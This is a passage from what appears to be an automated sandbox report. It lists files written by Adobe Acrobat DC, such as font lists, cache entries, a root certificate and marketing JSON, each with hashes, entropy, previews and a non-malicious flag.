Entropy (8bit):	4.4382873660921645
Encrypted:	false
SSDEEP:	384:ye+ci5G1iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:p5urVgazUpUTTGt
MD5:	A83CC7389FDACE7E2366F9E4D0E1CFB9
SHA1:	8C33FCD3D819377DE6CE2602721D37AC7EC2F6E5
SHA-256:	17E65A084980C5A5D8097A9E9C2EA745028AAD0A6D78F641C7E5555BE2C765F3
SHA-512:	FB39A4B49B56C5977026D84C4BF278A3B75C3B53472AF7D6A2D885D50827FB347C3883188B3BE80000F1583F01176556AADED8DF0A676A3C53F9009D534C8A72
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7668169530539077
Encrypted:	false
SSDEEP:	48:7MZJioyVYioyWoy1C7oy16oy1yKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Ov:7mJuYGhXjBipb9IVXEBodRBk2
MD5:	265783EF9AB019071E69961C9687B177
SHA1:	191DC9E7E9790630F2FA2519FD8108D66FD6329A
SHA-256:	78DB0A5ABD46D5C5E9CA2206599F4D184DDB4DD0042A24D762F738B18B483C82
SHA-512:	ED3B7107FD8685760A8F837D02F6354214650C97132079E972B75D44318D8D95E1DEB0A476B16C8D52B06DEDB5C474AFC5F743E7542D1C5F4E194C7053C269EA
Malicious:	false
Preview:	.... .c......!F................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFkl5j+M/tfllXlE/HT8k+GlJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKm+seT8W3NMa8RdWBwRd
MD5:	EBF00533F71EA97493A722A7C5AD119D
SHA1:	FF71E0974010F7A99C322FEA2BC4EC0BD15C6C5D
SHA-256:	DA91719EF3ADA63EA8593A76DAE0F569E5FD6290A463D02699973734CDE3D598
SHA-512:	DF6C25A33BE6C2ECE63EF1F4518E2B810011878D91D5596267A5CB20F9CD9ED8B97C671C2B5A7AE915750BCF8E09694136C5628DA6DCEC668537606D04D79BF5
Malicious:	false
Preview:	p...... .........`.}.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2319854253366045
Encrypted:	false
SSDEEP:	6:kKYsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:wsiDImsLNkPlE99SNxAhUe/3
MD5:	D877C3BB1213E3D7043BCA65653B5DF5
SHA1:	F2CAFBB8BB19C67D4791E72487A4BE623D186C53
SHA-256:	F46831F244C5EDCEA60760C31B6C1FC263C52F4D6063227C3ED8E5DDD05E38AC
SHA-512:	006C519FC2B90E45BEA74AF139824CC590B7838153C94A09512E657671DEA89F20382DDF4385229CD7BEF28A1B54E328B32422B30FC49B616F2EBEE025CEF798
Malicious:	false
Preview:	p...... .........u...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8048

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8048

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.34466141829044
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJM3g98kUwPeUkwRe9:YvXKXjad1zrT5LjIPmiGMbLUkee9
MD5:	FDD61CB0EBF51E33E88AD852B6D09197
SHA1:	FC6C08740ABFE3845DCDA20AF6707133F8B28F68
SHA-256:	1309EC95B2F3DFCB63F513D28DBC6DD04ABE6D3967D541CA63A664C984AF724D
SHA-512:	03B223303EF34A65A6B52BC0A16AC276A413DE689C5848158F58AF3E66617768C8320D7A1F34F2F4A8BDBC49D0F4B01335828D3BDB86D6F8DA224BD5A7433E69
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296795759597487
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJfBoTfXpnrPeUkwRe9:YvXKXjad1zrT5LjIPmiGWTfXcUkee9
MD5:	38382C872F9DE233C6E48510088F5C79
SHA1:	4A2A23782D4F6AF2731034D90532C8B76084BE30
SHA-256:	CB817A5B234DFED50FA6DF732EE7C192822F6CABF870F8A6AD3D5D008F98EBB6
SHA-512:	CFEE9493EEDD24446713FFA4F5BBBE35315BD640AF3FA1CBE45D335CF538E764E97632825CDBE493D5669420232EF6BC564C3395923370B3A9985EE5BE66B321
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275790794992563
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJfBD2G6UpnrPeUkwRe9:YvXKXjad1zrT5LjIPmiGR22cUkee9
MD5:	EDEB0BB85608A9A25A9D4338E0E1CBB3
SHA1:	8BCEEEB676CDFC26F9BCEAF9062463148788A220
SHA-256:	CA6D9689DB0B6567B0D68CC1DFDAA49871DDF1DAADD2CB765DCDAEC187768872
SHA-512:	CDB5293619D687E4E060C39E94DA6D7AE7F7266A9C32EFE2D9B190D4B1C1AE9A8467DE495602CDD643A2E4C6A32B34D5B292103FFF82E688688DB5C33214055B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.325007241444734
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJfPmwrPeUkwRe9:YvXKXjad1zrT5LjIPmiGH56Ukee9
MD5:	8A8BD9519B94C9DF21921D1A862A9D05
SHA1:	E8C320A89663D7F9F724B0B46391B901CFD881E0
SHA-256:	BAB77AB8242F884491EC0CFAF7E445D4E30539CEEE621418205773E742FF3AB1
SHA-512:	1A3F79C52DB91576F78ED97056678C6524F54845ACA6D5475EE0555F7ED5552D93FB78E38C3BAFF96C19128A2BE20CB41137A7F393CCEBC77D493ECB834A2023
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685424556191341
Encrypted:	false
SSDEEP:	24:Yv6XjabrT5XIufpLgE9cQx8LennAvzBvkn0RCmK8czOCCS3:YvPXRfhgy6SAFv5Ah8cv/3
MD5:	99DD20C844F67A8B1231FB3E621477FC
SHA1:	4F02DE22F84274296A7C8379CCE15D73AC4F9F1E
SHA-256:	3A826CC37A3E220EAA1D37B669A72613D4BAA210EF1646EB02320E623F14984A
SHA-512:	A6D53914CB13855A1BB0F4CF287F615C829D2110A7E8F60B0B4A767C51BB2C27AB8DF3E0FB5FEE53CBCCE7EC2B53C78146C2259E4E2986D7FB76897DD954F169
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293938100993777
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJf8dPeUkwRe9:YvXKXjad1zrT5LjIPmiGU8Ukee9
MD5:	718E3497B1D23400723C88E8E87ABCEC
SHA1:	7B52AED9BBF3CA46AA89249C5FD5340D5769BB76
SHA-256:	C0E7F985D0EE0CADEFA5A42E267207B8CDEB5927A8A80EB375D7C5A1B466456C
SHA-512:	E5FA30A422D486695468BBEDC69974335648E7189C7429F7E58D6A1ED1D9283E3533AEE26EE8C6597F163183995DCCBA6B413B810AB1BDA9C006332E5E23F912
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.286364819027858
Encrypted:	false
SSDEEP:	6:YEQXJ2HXjURd1f7H4mSg1c2LjcWkHvR0YyeeoAvJfQ1rPeUkwRe9:YvXKXjad1zrT5LjIPmiGY16Ukee9
MD5:	3E436646707A2E4EDBE6C96454DBC3C0
SHA1:	171B0480349955C255190B0D1C5A86670EC2C8CC
SHA-256:	C8A5A1B1F147A36E2905D2A20C2D8D5B7B79E45408461520D0B23F879D3826EB
SHA-512:	E48D01793C31D9C9B8DC7AB5AB949CF9CE9C3563AC62E54A6A62054267093294C971C2C33D23A895EE34D39DAEDE14D0D422DC145538FCAF5D32DCCBF97A398A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dca9b3e4-2f11-4d64-a141-e0a381bdaa56","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725947664,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300834605920673
Encrypted:	false
